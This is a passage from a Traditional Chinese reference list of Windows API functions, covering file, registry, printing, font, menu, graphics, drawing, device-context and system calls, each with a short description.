GetFileVersionInfo 從支持版本標記的一個模組裡獲取文件版本訊息
GetFileVersionInfoSize 針對包含了版本資源的一個文件，判斷容納文件版本訊息需要一個多大的緩衝區
GetFullPathName 獲取指定文件的完整路徑名
GetLogicalDrives 判斷系統中存在哪些邏輯磁碟機字母
GetLogicalDriveStrings 獲取一個字串，其中包含了當前所有邏輯磁碟機的根驅動器路徑
GetOverlappedResult 判斷一個重疊操作現用的狀態
GetPrivateProfileInt 為啟始化文件（.ini文件）中指定的 列項獲取一個整數值
GetPrivateProfileSection 獲取指定小節（在.ini文件中）所有項名和值的一個列表
GetPrivateProfileString 為啟始化文件中指定的 列項取得字串
GetProfileInt 取得win.ini啟始化文件中指定 列項的一個整數值
GetProfileSection 獲取指定小節（在win.ini文件中）所有項名和值的一個列表
GetProfileString 為win.ini啟始化文件中指定的 列項取得字串
GetShortPathName 獲取指定文件的短路徑名
GetSystemDirectory 取得Windows系統目錄（即System目錄）的完整路徑名
GetTempFileName 這個函數包含了一個臨時文件的名字，它可由應用程式使用
GetTempPath 獲取為臨時文件指定的路徑
GetVolumeInformation 獲取與一個磁牒磁碟區有關的訊息
GetWindowsDirectory 獲取Windows目錄的完整路徑名
hread 參考lread
hwrite 參考lwrite函數
lclose 關閉指定的文件
lcreat 新增一個文件
llseek 設定文件中進行讀寫的當前位置
LockFile 鎖定文件的某一部分，使其不與其他應用程式共享
LockFileEx 與LockFile相似，只是它提供了更多的功能
lopen 以二進制模式開啟指定的文件
lread 將文件中的資料讀入記憶體緩衝區
lwrite 將資料從記憶體緩衝區寫入一個文件
LZClose 關閉由LZOpenFile 或 LZInit函數開啟的一個文件
LZCopy 複製一個文件
LZInit 這個函數用於啟始化內部緩衝區
LZOpenFile 該函數能執行大量不同的文件處理，而且相容於壓縮檔案
LZRead 將資料從文件讀入記憶體緩衝區
LZSeek 設定一個文件中進行讀寫的當前位置
MapViewOfFile 將一個文件映射對像映射到當前應用程式的位址空間
MoveFile 移動文件
OpenFile 這個函數能執行大量不同的文件操作
OpenFileMapping 開啟一個現成的文件映射對像
QueryDosDevice 在Windows NT中，DOS設備名會映射成NT系統設備名。該函數可判斷現用的設備映射情況
ReadFile 從文件中讀出資料
ReadFileEx 與ReadFile相似，只是它只能用於異步讀操作，並包含了一個完整的回調
RegCloseKey 關閉系統註冊表中的一個項（或鍵）
RegConnectRegistry 訪問遠端系統的部分註冊表
RegCreateKey 在指定的項下新增或開啟一個項
RegCreateKeyEx 在指定項下新增新項的更複雜的方式。在Win32環境中建議使用這個函數
RegDeleteKey 移除現有項下方一個指定的子項
RegDelete類型 移除指定項下方的一個值
RegEnumKey 枚舉指定項的子項。在Win32環境中應使用RegEnumKeyEx
RegEnumKeyEx 枚舉指定項下方的子項
RegEnum類型 枚舉指定項的值
RegFlushKey 將對項和它的子項作出的改動實際寫入磁牒
RegGetKeySecurity 獲取與一個註冊表項有關的安全訊息
RegLoadKey 從以前用RegSaveKey函數新增的一個文件裡安裝載入註冊表訊息
RegNotifyChangeKey類型 註冊表項或它的任何一個子項發生變化時，用這個函數提供一種通知機制
RegOpenKey 開啟一個現有的註冊表項
RegOpenKeyEx 開啟一個現有的項。在win32下推薦使用這個函數
RegQueryInfoKey 獲取與一個項有關的訊息
RegQuery類型 取得指定項或子項的預設值（未命名）值
RegQuery類型Ex 獲取一個項的設定值
RegReplaceKey 用一個磁牒文件儲存的訊息取代註冊表訊息；並新增一個制作備份，在其中包含當前註冊表訊息
RegRestoreKey 從一個磁牒文件恢復註冊表訊息
RegSaveKey 將一個項以及它的所有子項都儲存到一個磁牒文件
RegSetKeySecurity 設定指定項的安全特性
RegSet類型 設定指定項或子項的預設值
RegSet類型Ex 設定指定項的值
RegUnLoadKey 卸載指定的項以及它的所有子項
RemoveDirectory 移除指定目錄
SearchPath 尋找指定文件
SetCurrentDirectory 設定當前目錄
SetEndOfFile 針對一個開啟的文件，將當前文件位置設為文件末尾
SetFileAttributes 設定文件內容
SetFilePointer 在一個文件中設定現用的讀寫位置
SetFileTime 設定文件的新增、訪問及上次修改時間
SetHandleCount 這個函數不必在win32下使用；即使使用，也不會有任何效果
SetVolumeLabel 設定一個磁牒的卷冊（Label）
SystemTimeToFileTime 根據一個FILETIME結構的內容，載入一個SYSTEMTIME結構
UnlockFile 解除對一個文件的鎖定
UnlockFileEx 解除對一個文件的鎖定
UnmapViewOfFile 在當前應用程式的記憶體位址空間解除對一個文件映射對象的映射
VerFindFile 用這個函數決定一個文件應安裝到哪裡
VerInstallFile 用這個函數安裝一個文件
VerLanguageName 這個函數能根據16位語言程式碼獲取一種語言的名稱
VerQuery類型 這個函數用於從版本資源中獲取訊息
WriteFile 將資料寫入一個文件
WriteFileEx 與WriteFile類似，只是它只能用於異步寫操作，並包括了一個完整的回調
WritePrivateProfileSection 為一個啟始化文件（.ini）中指定的小節設定所有項名和值
WritePrivateProfileString 在啟始化文件指定小節內設定一個字串
WriteProfileSection 為Win.ini啟始化文件中一個指定的小節設定所有項名和值
WriteProfileString 在Win.ini啟始化文件指定小節內設定一個字串
4. API之列印函數
AbortDoc 取消一份我的文件的列印
AbortPrinter 移除與一台列印機關聯在一起的緩衝文件
AddForm 為列印機的表單列表增加一個新表單
AddJob 用於獲取一個有效的路徑名，以便用它為作業新增一個後台列印文件。它也會為作業分配一個作業編號
AddMonitor 為系統增加一個列印機監視器
AddPort 啟動"增加連接阜"對話視窗，允許用戶在系統可用連接阜列表中加入一個新連接阜
AddPrinter 在系統中增加一台新列印機
AddPrinterConnection 連接指定的列印機
AddPrinterDriver 為指定的系統增加一個列印驅動程式
AddPrintProcessor 為指定的系統增加一個列印處理器
AddPrintProvidor 為系統增加一個列印供應商
AdvancedDocumentProperties 啟動列印機我的文件設定對話視窗
ClosePrinter 關閉一個開啟的列印機對像
ConfigurePort 針對指定的連接阜，啟動一個連接阜組態對話視窗
ConnectToPrinterDlg 啟動連接列印機對話視窗，用它同訪問網路的列印機連接
DeleteForm 從列印機可用表單列表中移除一個表單
DeleteMonitor 移除指定的列印監視器
DeletePort 啟動"移除連接阜"對話視窗，允許用戶從當前系統移除一個連接阜
DeletePrinter 將指定的列印機標誌為從系統中移除
DeletePrinterConnection 移除與指定列印機的連接
DeletePrinterDriver 從系統移除一個列印機驅動程式
DeletePrintProcessor 從指定系統移除一個列印處理器
DeletePrintProvidor 從系統中移除一個列印供應商
DeviceCapabilities 利用這個函數可獲得與一個設備的能力有關的訊息
DocumentProperties 列印機組態控制函數
EndDocAPI 結束一個成功的列印作業
EndDocPrinter 在後台列印程序的等級指定一個我的文件的結束
EndPage 用這個函數完成一個頁面的列印，並準備設備場景，以便列印下一個頁
EndPagePrinter 指定一個頁在列印作業中的結尾
EnumForms 枚舉一台列印機可用的表單
EnumJobs 枚舉列印貯列中的作業
EnumMonitors 枚舉可用的列印監視器
EnumPorts 枚舉一個系統可用的連接阜
EnumPrinterDrivers 枚舉指定系統中已安裝的列印機驅動程式
EnumPrinters 枚舉系統中安裝的列印機
EnumPrintProcessorDatatypes 枚舉由一個列印處理器支持的資料檔案類型
EnumPrintProcessors 枚舉系統中可用的列印處理器
Escape 設備控制函數
FindClosePrinterChangeNotification 關閉用FindFirstPrinterChangeNotification函數獲取的一個列印機通告對像
FindFirstPrinterChangeNotification 新增一個新的改變通告對象，以便我們注意列印機狀態的各種變化
FindNextPrinterChangeNotification 用這個函數判斷觸發一次列印機改變通告信號的原因
FreePrinterNotifyInfo 解壓縮由FindNextPrinterChangeNotification函數分配的一個緩衝區
GetForm 取得與指定表單有關的訊息
GetJob 獲取與指定作業有關的訊息
GetPrinter 取得與指定列印機有關的訊息
GetPrinterData 為列印機設定註冊表配置資訊
GetPrinterDriver 針對指定的列印機，獲取與列印機驅動程式有關的訊息
GetPrinterDriverDirectory 判斷指定系統中包含了列印機驅動程式的目錄是什麼
GetPrintProcessorDirectory 判斷指定系統中包含了列印機處理器驅動程式及文件的目錄
OpenPrinter 開啟指定的列印機，並獲取列印機的關鍵句
PrinterMessageBox 在擁有指定列印作業的系統上顯示一個列印機出現錯誤訊息框
PrinterProperties 啟動列印機內容對話視窗，以便對列印機進行組態
ReadPrinter 從列印機讀入資料
ResetDC 重設一個設備場景
ResetPrinter 改變指定列印機的預設值資料檔案類型及我的文件設定
ScheduleJob 提交一個要列印的作業
SetAbortProc 為Windows指定取消函數的位址
SetForm 為指定的表單設定訊息
SetJob 對一個列印作業的狀態進行控制
SetPrinter 對一台列印機的狀態進行控制
SetPrinterData 設定列印機的註冊表配置資訊
StartDoc 開始一個列印作業
StartDocPrinter 在後台列印的等級啟動一個新我的文件
StartPage 列印一個新頁前要先使用這個函數
StartPagePrinter 在列印作業中指定一個新頁的開始
WritePrinter 將傳送目錄中的資料寫入列印機
5. API之文本和字體函數
AddFontResource 在Windows系統中增加一種字體資源
CreateFont 用指定的內容新增一種邏輯字體
CreateFontIndirect 用指定的內容新增一種邏輯字體
CreateScalableFontResource 為一種TureType字體新增一個資源文件，以便能用API函數AddFontResource將其加入Windows系統
DrawText 將文本描繪到指定的矩形中
DrawTextEx 與DrawText相似，只是加入了更多的功能
EnumFontFamilies 列舉指定設備可用的字體
EnumFontFamiliesEx 列舉指定設備可用的字體
EnumFonts 列舉指定設備可用的字體
ExtTextOut 經過增強的文本描繪函數。也請參考SetTextAlign函數
GetAspectRatioFilterEx 用SetMapperFlags要求Windows只選項與設備當前縱橫比相符的光柵字體時，本函數可判斷縱橫比大小
GetCharABCWidths 判斷TureType字體中一個或多個字串的A-B-C大小
GetCharABCWidthsFloat 查詢一種字體中一個或多個字串的A-B-C尺寸
GetCharacterPlacement 該函數用於瞭解如何用一個給定的字串顯示一個字串
GetCharWidth 調查字體中一個或多個字串的寬度
GetFontData 接收一種可縮放字體文件的資料
GetFontLanguageInfo 返回目前選入指定設備場景中的字體的訊息
GetGlyphOutline 取得TureType字體中構成一個字串的曲線訊息
GetKerningPairs 取得指定字體的字距訊息
GetOutlineTextMetrics 接收與TureType字體內部特徵有關的詳細資料
GetRasterizerCaps 瞭解系統是否有能力支持可縮放的字體
GetTabbedTextExtent 判斷一個字串佔據的範圍，同時考慮製表站擴充的因素
GetTextAlign 接收一個設備場景現用的文本對齊標誌
GetTextCharacterExtra 判斷額外字串間距的當前值
GetTextCharset 接收當前選入指定設備場景的字體的字串集標幟符
GetTextCharsetInfo 獲取與當前選定字體的字串集有關的詳細資料
GetTextColor 判斷當前字體顏色。通常也稱為"前景色"
GetTextExtentExPoint 判斷要填入指定區域的字串數量。也用一個陣列安裝載入每個字串的範圍訊息
GetTextExtentPoint 判斷一個字串的大小（範圍）
GetTextFace 獲取一種字體的字樣名
GetTextMetrics 獲取與選入一種設備場景的物理字體有關的訊息
GrayString 描繪一個以灰色顯示的字串。通常由Windows用於標幟禁止狀態
PolyTextOut 描繪一系列字串
RemoveFontResource 從Windows系統中移除一種字體資源
SetMapperFlags Windows對字體進行映射時，可用該函數選項與目標設備的縱橫比相符的光柵字體
SetTextAlign 設定文本對齊方式，並指定在文本輸出程序中使用設備場景的當前位置
SetTextCharacterExtra 描繪文本的時候，指定要在字串間插入的額外間距
SetTextColor 設定當前文本顏色。這種顏色也稱為"前景色"
SetTextJustification 通過指定一個文本行應佔據的額外空間，可用這個函數對文本進行兩端對齊處理
TabbedTextOut 支持製表站的一個文本描繪函數
TextOut 文本繪圖函數
6. API之表單函數
AppendMenu 在指定的表單裡增加一個表單項
CheckMenuItem 複選或撤消複選指定的表單 列項
CheckMenuRadioItem 指定一個表單 列項被複選成"單選"項目
CreateMenu 新增新表單
CreatePopupMenu 新增一個空的彈出式表單
DeleteMenu 移除指定的表單 列項
DestroyMenu 移除指定的表單
DrawMenuBar 為指定的視窗重畫表單
EnableMenuItem 允許或禁止指定的表單 列項
GetMenu 取得視窗中一個表單的關鍵句
GetMenuCheckMarkDimensions 返回一個表單複選符的大小
GetMenuContextHelpId 取得一個表單的說明 場景ID
GetMenuDefaultItem 判斷表單中的哪個 列項是預設值 列項
GetMenuItemCount 返回表單中 列項（表單項）的數量
GetMenuItemID 返回位於表單中指定位置處的 列項的表單ID
GetMenuItemInfo 取得（接收）與一個表單 列項有關的特定訊息
GetMenuItemRect 在一個矩形中安裝載入指定表單 列項的螢幕坐標訊息
GetMenuState 取得與指定表單 列項狀態有關的訊息
GetMenuString 取得指定表單 列項的字串
GetSubMenu 取得一個彈出式表單的關鍵句，它位於表單中指定的位置
GetSystemMenu 取得指定視窗的系統表單的關鍵句
HiliteMenuItem 控制頂級表單 列項的加亮顯示狀態
InsertMenu 在表單的指定位置處插入一個表單 列項，並根據需要將其他 列項向下移動
InsertMenuItem 插入一個新表單 列項
IsMenu 判斷指定的關鍵句是否為一個表單的關鍵句
LoadMenu 從指定的模組或應用程式實例中載入一個表單
LoadMenuIndirect 載入一個表單
MenuItemFromPoint 判斷哪個表單 列項包含了螢幕上一個指定的點
ModifyMenu 改變表單 列項
RemoveMenu 移除指定的表單 列項
SetMenu 設定視窗表單
SetMenuContextHelpId 設定一個表單的說明 場景ID
SetMenuDefaultItem 將一個表單 列項設為預設值 列項
SetMenuItemBitmaps 設定一幅特定圖形，令其在指定的表單 列項中使用，替代標準的複選符號（√）
SetMenuItemInfo 為一個表單 列項設定指定的訊息
TrackPopupMenu 在螢幕的任意地方顯示一個彈出式表單
TrackPopupMenuEx 與TrackPopupMenu相似，只是它提供了額外的功能
7. API之圖形、圖示和光柵運算函數
BitBlt 將一幅圖形從一個設備場景複製到另一個
CopyIcon 製作指定圖示或滑鼠游標的一個副本。這個副本從屬於發出使用的應用程式
CopyImage 複製圖形、圖示或游標，同時在複製程序中進行一些轉換工作
CreateBitmap 按照規定的格式新增一幅與設備有關圖形
CreateBitmapIndirect 新增一幅與設備有關圖形
CreateCompatibleBitmap 新增一幅與設備有關圖形，它與指定的設備場景相容
CreateCursor 新增一個滑鼠游標
CreateDIBitmap 根據一幅與設備無關的圖形新增一幅與設備有關的圖形
CreateDIBSection 新增一個DIBSection
CreateIcon 新增一個圖示
CreateIconIndirect 新增一個圖示
DestroyCursor 清除指定的滑鼠游標，並解壓縮它佔用的所有系統資源
DestroyIcon 清除圖示
DrawIcon 在指定的位置畫一個圖示
DrawIconEx 描繪一個圖示或滑鼠游標。與DrawIcon相比，這個函數提供了更多的功能
ExtractAssociatedIcon 判斷一個可執行程序或DLL中是否存在圖示，或是否有圖示與系統註冊表中指定的文件存在關聯並抽取之
ExtractIcon 判斷一個可執行文件或DLL中是否有圖示存在，並將其抽取出來
GetBitmapBits 將來自圖形的二進制位複製到一個緩衝區
GetBitmapDimensionEx 取得一幅圖形的寬度和高度
GetDIBColorTable 從選入設備場景的DIBSection中取得顏色表訊息
GetDIBits 將來自一幅圖形的二進制位複製到一幅與設備無關的圖形裡
GetIconInfo 取得與圖示有關的訊息
GetStretchBltMode 判斷StretchBlt 和 StretchDIBits函數採用的伸縮模式
LoadBitmap 從指定的模組或應用程式實例中載入一幅圖形
LoadCursor 從指定的模組或應用程式實例中載入一個滑鼠游標
LoadCursorFromFile 在一個游標文件或一個動畫游標文件的基礎上新增一個游標
LoadIcon 從指定的模組或應用程式實例中載入一個圖示
LoadImage 載入一個圖形、圖示或游標
MaskBlt 執行複雜的圖像傳輸，同時進行掩模（MASK）處理
PatBlt 在當前選定的刷子的基礎上，用一個圖案填充指定的設備場景
PlgBlt 複製一幅圖形，同時將其轉換成一個平行四邊形。利用它可對圖形進行旋轉處理
SetBitmapBits 將來自緩衝區的二進制位複製到一幅圖形
SetBitmapDimensionEx 設定一幅圖形的寬度。以一毫米的十分之一為服務機構
SetDIBColorTable 設定選入設備場景的一個DIBSection的顏色表訊息
SetDIBits 將來自與設備無關圖形的二進制位複製到一幅與設備有關的圖形裡
SetDIBitsToDevice 將一幅與設備無關圖形的全部或部分資料直接複製到一個設備
SetStretchBltMode 指定StretchBlt 和 StretchDIBits函數的伸縮模式
StretchBlt 將一幅圖形從一個設備場景複製到另一個
StretchDIBits 將一幅與設備無關圖形的全部或部分資料直接複製到指定的設備場景
8. API之繪圖函數
AbortPath 拋棄選入指定設備場景中的所有路徑。也取消目前正在進行的任何路徑的新增工作
AngleArc 用一個連接弧畫一條線
Arc 畫一個圓弧
BeginPath 啟動一個路徑分支
CancelDC 取消另一個執行緒裡的長時間繪圖操作
Chord 畫一個弦
CloseEnhMetaFile 關閉指定的增強型圖元文件設備場景，並將新增的圖元文件返回一個關鍵句
CloseFigure 描繪到一個路徑時，關閉當前開啟的圖形
CloseMetaFile 關閉指定的圖元文件設備場景，並向新增的圖元文件返回一個關鍵句
CopyEnhMetaFile 製作指定增強型圖元文件的一個副本（拷貝）
CopyMetaFile 製作指定（標準）圖元文件的一個副本
CreateBrushIndirect 在一個LOGBRUSH資料結構的基礎上新增一個刷子
CreateDIBPatternBrush 用一幅與設備無關的圖形新增一個刷子，以便指定刷子樣式（圖案）
CreateEnhMetaFile 新增一個增強型的圖元文件設備場景
CreateHatchBrush 新增帶有陰影圖案的一個刷子
CreateMetaFile 新增一個圖元文件設備場景
CreatePatternBrush 用指定了刷子圖案的一幅圖形新增一個刷子
CreatePen 用指定的樣式、寬度和顏色新增一個畫筆
CreatePenIndirect 根據指定的LOGPEN結構新增一個畫筆
CreateSolidBrush 用純色新增一個刷子
DeleteEnhMetaFile 移除指定的增強型圖元文件
DeleteMetaFile 移除指定的圖元文件
DeleteObject 移除GDI對象，對像使用的所有系統資源都會被解壓縮
DrawEdge 用指定的樣式描繪一個矩形的邊框
DrawEscape 換碼（Escape）函數將資料直接發至顯示設備驅動程式
DrawFocusRect 畫一個焦點矩形
DrawFrameControl 描繪一個標準控件
DrawState 為一幅圖像或繪圖操作套用各式各樣的效果
Ellipse 描繪一個橢圓，由指定的矩形圍繞
EndPath 停止定義一個路徑
EnumEnhMetaFile 針對一個增強型圖元文件，列舉其中單獨的圖元文件記錄
EnumMetaFile 為一個標準的windows圖元文件枚舉單獨的圖元文件記錄
EnumObjects 枚舉可隨同指定設備場景使用的畫筆和刷子
ExtCreatePen 新增一個增強畫筆（裝飾或幾何）
ExtFloodFill 在指定的設備場景裡，用當前選項的刷子填充一個區域
FillPath 關閉路徑中任何開啟的圖形，並用當前刷子填充
FillRect 用指定的刷子填充一個矩形
FlattenPath 將一個路徑中的所有曲線都轉換成線段
FloodFill 用當前選定的刷子在指定的設備場景中填充一個區域
FrameRect 用指定的刷子圍繞一個矩形畫一個邊框
GdiComment 為指定的增強型圖元文件設備場景增加一條註釋訊息
GdiFlush 執行任何未決的繪圖操作
GdiGetBatchLimit 判斷有多少個GDI繪圖指令位於貯列中
GdiSetBatchLimit 指定有多少個GDI繪圖指令能夠進入貯列
GetArcDirection 畫圓弧的時候，判斷當前採用的繪圖方向
GetBkColor 取得指定設備場景現用的背景顏色
GetBkMode 針對指定的設備場景，取得現用的背景填充模式
GetBrushOrgEx 判斷指定設備場景中當前選定刷子起點
GetCurrentObject 獲得指定檔案類型的當前選定對像
GetCurrentPositionEx 在指定的設備場景中取得現用的畫筆位置
GetEnhMetaFile 取得磁牒文件中包含的一個增強型圖元文件的圖元文件關鍵句
GetEnhMetaFileBits 將指定的增強型圖元文件複製到一個記憶體緩衝區裡
GetEnhMetaFileDescription 返回對一個增強型圖元文件的說明
GetEnhMetaFileHeader 取得增強型圖元文件的圖元文件頭
GetEnhMetaFilePaletteEntries 取得增強型圖元文件的全部或部分調色板
GetMetaFile 取得包含在一個磁牒文件中的圖元文件的圖元文件關鍵句
GetMetaFileBitsEx 將指定的圖元文件複製到一個記憶體緩衝區
GetMiterLimit 取得設備場景的斜率限制（Miter）設定
GetNearestColor 根據設備的顯示能力，取得與指定顏色最接近的一種純色
GetObjectAPI 取得對指定對像進行說明的一個結構
GetObjectType 判斷由指定關鍵句引用的GDI對象的檔案類型
GetPath 取得對當前路徑進行定義的一系列資料
GetPixel 在指定的設備場景中取得一個像素的RGB值
GetPolyFillMode 針對指定的設備場景，獲得多邊形填充模式
GetROP2 針對指定的設備場景，取得現用的繪圖模式
GetStockObject 取得一個固有對象（Stock）
GetSysColorBrush 為任何一種標準系統顏色取得一個刷子
GetWinMetaFileBits 通過在一個緩衝區中填充用於標準圖元文件的資料，將一個增強型圖元文件轉換成標準windows圖元文件
InvertRect 通過反轉每個像素的值，從而反轉一個設備場景中指定的矩形
LineDDA 枚舉指定線段中的所有點
LineTo 用當前畫筆畫一條線，從當前位置連到一個指定的點
MoveToEx 為指定的設備場景指定一個新的當前畫筆位置
PaintDesk 在指定的設備場景中描繪桌面牆紙圖案
PathToRegion 將當前選定的路徑轉換到一個區域裡
Pie 畫一個餅圖
PlayEnhMetaFile 在指定的設備場景中畫一個增強型圖元文件
PlayEnhMetaFileRecord 回放單獨一條增強型圖元文件記錄
PlayMetaFile 在指定的設備場景中回放一個圖元文件
PlayMetaFileRecord 回放來自圖元文件的單條記錄
PolyBezier 描繪一條或多條貝塞爾（Bezier）曲線
PolyDraw 描繪一條複雜的曲線，由線段及貝塞爾曲線組成
Polygon 描繪一個多邊形
Polyline 用當前畫筆描繪一系列線段
PolyPolygon 用當前選定畫筆描繪兩個或多個多邊形
PolyPolyline 用當前選定畫筆描繪兩個或多個多邊形
Rectangle 用當前選定的畫筆描繪矩形，並用當前選定的刷子填充
RoundRect 用當前選定的畫筆畫一個圓角矩形，並用當前選定的刷子在其中填充
SelectClipPath 將設備場景現用的路徑合併到剪下區域裡
SelectObject 為當前設備場景選項圖形對像
SetArcDirection 設定圓弧的描繪方向
SetBkColor 為指定的設備場景設定背景顏色
SetBkMode 指定陰影刷子、虛線畫筆以及字串中的空隙的填充方式
SetBrushOrgEx 為指定的設備場景設定當前選定刷子的起點
SetEnhMetaFileBits 用指定記憶體緩衝區內包含的資料新增一個增強型圖元文件
SetMetaFileBitsEx 用包含在指定記憶體緩衝區內的資料結構新增一個圖元文件
SetMiterLimit 設定設備場景現用的斜率限制
SetPixel 在指定的設備場景中設定一個像素的RGB值
SetPixelV 在指定的設備場景中設定一個像素的RGB值
SetPolyFillMode 設定多邊形的填充模式
SetROP2 設定指定設備場景的繪圖模式。與vb的DrawMode內容完全一致
SetWinMetaFileBits 將一個標準Windows圖元文件轉換成增強型圖元文件
StrokeAndFillPath 針對指定的設備場景，關閉路徑上開啟的所有區域
StrokePath 用當前畫筆描繪一個路徑的輪廓。開啟的圖形不會被這個函數關閉
UnrealizeObject 將一個刷子對像選入設備場景之前，如刷子的起點準備用SetBrushOrgEx修改，則必須先使用本函數
WidenPath 根據選定畫筆的寬度，重新定義當前選定的路徑
9. API之設備場景函數
CombineRgn 將兩個區域組合為一個新區域
CombineTransform 驅動世界轉換。它相當於依順序進行兩次轉換
CreateCompatibleDC 新增一個與特定設備場景一致的記憶體設備場景
CreateDC 為專門設備新增設備場景
CreateEllipticRgn 新增一個橢圓
CreateEllipticRgnIndirect 新增一個內切於特定矩形的橢圓區域
CreateIC 為專用設備新增一個訊息場景
CreatePolygonRgn 新增一個由一系列點圍成的區域
CreatePolyPolygonRgn 新增由多個多邊形構成的區域。每個多邊形都應是封閉的
CreateRectRgn 新增一個矩形區域
CreateRectRgnIndirect 新增一個矩形區域
CreateRoundRectRgn 新增一個圓角矩形
DeleteDC 移除專用設備場景或訊息場景，解壓縮所有相關視窗資源
DPtoLP 將點陣從設備坐標轉換到專用設備場景邏輯坐標
EqualRgn 確定兩個區域是否相等
ExcludeClipRect 從專用設備場景的剪裁區中去掉一個矩形區。矩形內不能進行繪圖
ExcludeUpdateRgn 從專用設備場景剪裁區去掉指定視窗的重新整理區域
ExtCreateRegion 根據世界轉換修改區域
ExtSelectClipRgn 將指定區域組合到設備場景的當前剪裁區
FillRgn 用指定刷子填充指定區域
FrameRgn 用指定刷子圍繞指定區域畫一個外框
GetBoundsRect 獲取指定設備場景的邊界矩形
GetClipBox 獲取完全包含指定設備場景剪裁區的最小矩形
GetClipRgn 獲取設備場景當前剪裁區
GetDC 獲取指定視窗的設備場景
GetDCEx 為指定視窗獲取設備場景。相比GetDC，本函數提供了更多的選項
GetDCOrgEx 獲取指定設備場景起點位置（以螢幕坐標表示）
GetDeviceCaps 根據指定設備場景代表的設備的功能返回訊息
GetGraphicsMode 確定是否允許增強圖形模式（世界轉換）
GetMapMode 為特定設備場景調入映像模式
GetRegionData 裝入描述一個區域訊息的RgnData結構或緩衝區
GetRgnBox 獲取完全包含指定區域的最小矩形
GetUpdateRgn 確定指定視窗的重新整理區域。該區域當前無效，需要重新整理
GetViewportExtEx 獲取設備場景視口（viewport）範圍
GetViewportOrgEx 獲取設備場景視口起點
GetWindowDC 獲取整個視窗（包括邊框、捲軸、標題欄、表單等）的設備場景
GetWindowExtEx 獲取指定設備場景的視窗範圍
GetWindowOrgEx 獲取指定設備場景的邏輯視窗的起點
GetWindowRgn 獲取視窗區域
GetWorldTransform 如果有世界轉換，為設備場景獲取當前世界轉換
IntersectClipRect 為指定設備定義一個新的剪裁區
InvalidateRgn 使視窗指定區域不活動，並將它加入視窗重新整理區，使之可隨後被重畫
InvertRgn 通過顛倒每個像素值反轉設備場景指定區域
LPtoDP 將點陣從指定設備場景邏輯坐標轉換為設備坐標
ModifyWorldTransform 根據指定的模式修改世界轉換
OffsetClipRgn 按指定量平移設備場景剪裁區
OffsetRgn 按指定偏移量平移指定區域
OffsetViewportOrgEx 平移設備場景視口區域
OffsetWindowOrgEx 平移指定設備場景視窗起點
PaintRgn 用當前刷子背景色填充指定區域
PtInRegion 確定點是否在指定區域內
PtVisible 確定指定點是否可見（即，點是否在設備場景剪裁區內）
RectInRegion 確定矩形是否有部分在指定區域內
RectVisible 確定指定矩形是否有部分可見（是否在設備場景剪裁區內）
ReleaseDC 解壓縮由使用GetDC或GetWindowDC函數獲取的指定設備場景
RestoreDC 從設備場景堆疊恢復一個原先儲存的設備場景
SaveDC 將指定設備場景狀態儲存到Windows設備場景堆疊
ScaleViewportExtEx 縮放設備場景視口的範圍
ScaleWindowExtEx 縮放指定設備場景視窗範圍
ScrollDC 在視窗（由設備場景代表）中水準和（或）垂直滾動矩形
SelectClipRgn 為指定設備場景選項新的剪裁區
SetBoundsRect 設定指定設備場景的邊界矩形
SetGraphicsMode 允許或禁止增強圖形模式，以提供某些支持（包括世界轉換）
SetMapMode 設定指定設備場景的映射模式
SetRectRgn 設定區域為指定的矩形
SetViewportExtEx 設定設備場景視口範圍
SetViewportOrgEx 設定設備場景視口起點
SetWindowExtEx 設定指定設備場景視窗範圍
SetWindowOrgEx 設定指定設備場景視窗起點
SetWindowRgn 設定視窗區域
SetWorldTransform 設定世界轉換
ValidateRgn 啟動視窗中指定區域，把它從重新整理區移走
WindowFromDC 取回與某一設備場景相關的視窗的關鍵句
10. API之硬體與系統函數
ActivateKeyboardLayout 啟動一個新的鍵盤佈局。鍵盤佈局定義了按鍵在一種物理性鍵碟上的位置與含義
Beep 用於產生簡單的聲音
CharToOem 將一個字串從ANSI字串集轉換到OEM字串集
ClipCursor 將游標限制到指定區域
ConvertDefaultLocale 將一個特殊的地方標幟符轉換成真實的地方ID
CreateCaret 根據指定的訊息新增一個插入符（游標），並將它選定為指定視窗的預設值插入符
DestroyCaret 清除（破壞）一個插入符
EnumCalendarInfo 枚舉在指定"地方"環境中可用的日曆訊息
EnumDateFormats 列舉指定的"當地"設定中可用的長、短日期格式
EnumSystemCodePages 枚舉系統中已安裝或支持的程式碼頁
EnumSystemLocales 枚舉系統已經安裝或提供支持的"地方"設定
EnumTimeFormats 枚舉一個指定的地方適用的時間格式
ExitWindowsEx 結束windows，並用特定的選項重新啟動
ExpandEnvironmentStrings 擴充環境字串
FreeEnvironmentStrings 翻譯指定的環境字串塊
GetACP 判斷目前正在生效的ANSI程式碼頁
GetAsyncKeyState 判斷函數使用時指定虛擬鍵的狀態
GetCaretBlinkTime 判斷插入符游標的閃爍頻率
GetCaretPos 判斷插入符的當前位置
GetClipCursor 取得一個矩形，用於描述目前為滑鼠游標規定的剪下區域
GetCommandLine 獲得指向當前指令行緩衝區的一個游標
GetComputerName 取得這台電腦的名稱
GetCPInfo 取得與指定程式碼頁有關的訊息
GetCurrencyFormat 針對指定的"地方"設定，根據貨幣格式格式化一個數位
GetCursor 獲取目前選項的滑鼠游標的關鍵句
GetCursorPos 獲取滑鼠游標的當前位置
GetDateFormat 針對指定的"當地"格式，對一個系統日期進行格式化
GetDoubleClickTime 判斷連續兩次滑鼠按下之間會被處理成雙按事件的間隔時間
GetEnvironmentStrings 為包含了當前環境字串設定的一個記憶體塊分配和返回一個關鍵句
GetEnvironmentVariable 取得一個環境變數的值
GetInputState 判斷是否存在任何待決（等待處理）的滑鼠或鍵盤事件
GetKBCodePage 由GetOEMCP取代，兩者功能完全相同
GetKeyboardLayout 取得一個關鍵句，描述指定應用程式的鍵盤佈局
GetKeyboardLayoutList 獲得系統適用的所有鍵盤佈局的一個列表
GetKeyboardLayoutName 取得當前活動鍵盤佈局的名稱
GetKeyboardState 取得鍵碟上每個虛擬鍵現用的狀態
GetKeyboardType 瞭解與正在使用的鍵盤有關的訊息
GetKeyNameText 在指出掃瞄碼的前提下，判斷鍵名
GetKeyState 針對已處理過的按鍵，在最近一次輸入訊息時，判斷指定虛擬鍵的狀態
GetLastError 針對之前使用的api函數，用這個函數取得增強錯誤訊息
GetLocaleInfo 取得與指定"地方"有關的訊息
GetLocalTime 取得本機日期和時間
GetNumberFormat 針對指定的"地方"，按特定的格式格式化一個數位
GetOEMCP 判斷在OEM和ANSI字串集間轉換的windows程式碼頁
GetQueueStatus 判斷應用程式消息貯列中待決（等待處理）的消息檔案類型
GetSysColor 判斷指定windows顯示對象的顏色
GetSystemDefaultLangID 取得系統的預設值語言ID
GetSystemDefaultLCID 取得現用的預設值系統"地方"
